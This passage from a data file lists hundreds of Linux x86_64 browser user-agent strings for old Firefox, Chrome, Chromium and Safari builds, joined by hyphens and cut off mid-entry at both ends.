U; Linux x86_64; cs-CZ; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-0.1 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.11) Gecko/2009070611 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008090713 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009030620 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.1.10) Gecko/20100506 SUSE/3.5.10-0.1.1 Firefox/3.5.10 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2) Gecko/20100308 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; el-GR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 FirePHP/0.1.1.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 FirePHP/0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.5) Gecko/2008122010 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc9 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.3 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.1 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.308.0 Safari/532.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.368.0 Safari/533.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.417.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.544.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.200 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.127 Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 SUSE/10.0.626.0 (KHTML, like Gecko) Chrome/10.0.626.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.470.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/8.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML,like Gecko) Chrome/9.1.0.0 Safari/540.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) Gecko Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008061317 (Gentoo) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062315 (Gentoo) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Firefox/3.0 (Debian-3.0~rc2-2) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072820 Kubuntu/8.04 (hardy) Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008110312 Gentoo Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061417 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009070612 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.16) Gecko/2009121609 Firefox/3.0.6 (Windows NT 5.1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010011010 Mandriva/1.9.0.17-0.1mdv2009.1 (2009.1) Firefox/3.0.17 GTB6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008120512 Gentoo Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121806 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121911 CentOS/3.0.5-1.el5.centos Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122014 CentOS/3.0.5-1.el4.centos Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122120 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122406 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Firefox/3.0.4 (Debian-3.0.6-1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020519 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 GTB5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030810 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva/1.9.0.7-0.1mdv2009.0 (2009.0) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031802 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032319 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032606 Red Hat/3.0.7-1.el5 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1.1 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032713 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032908 Gentoo Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009040312 Gentoo Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1) Gecko/20090630 Firefox/3.5 GTB6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Linux Mint/7 (Gloria) Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.15) Gecko/20101027 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Firefox/3.5.2 Slackware -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Slackware Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090914 Slackware/13.0_stable Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091114 Gentoo Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.6) Gecko/20100117 Gentoo Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100318 Gentoo Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20091227 Ubuntu/9.10 (karmic) Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090312 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 Fedora/3.1-0.11.beta3.fc11 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100130 Gentoo Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100305 Gentoo Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Gentoo Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101223 Gentoo Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100524 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.4) Gecko/20100614 Ubuntu/10.04 (lucid) Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100723 Fedora/3.6.7-1.fc13 Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100723 SUSE/3.6.8-0.1.1 Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090405 Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008011321 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008020509 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008031318 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008040813 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008040514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008041816 Fedora/3.0-0.55.beta5.fc9 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061015 Ubuntu/8.04 (hardy) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5_2 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; es-CL; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009072711 CentOS/3.0.12-1.el5.centos Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.4 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc11 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-MX; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.14) Gecko/2009090217 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; fr-FR) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008071222 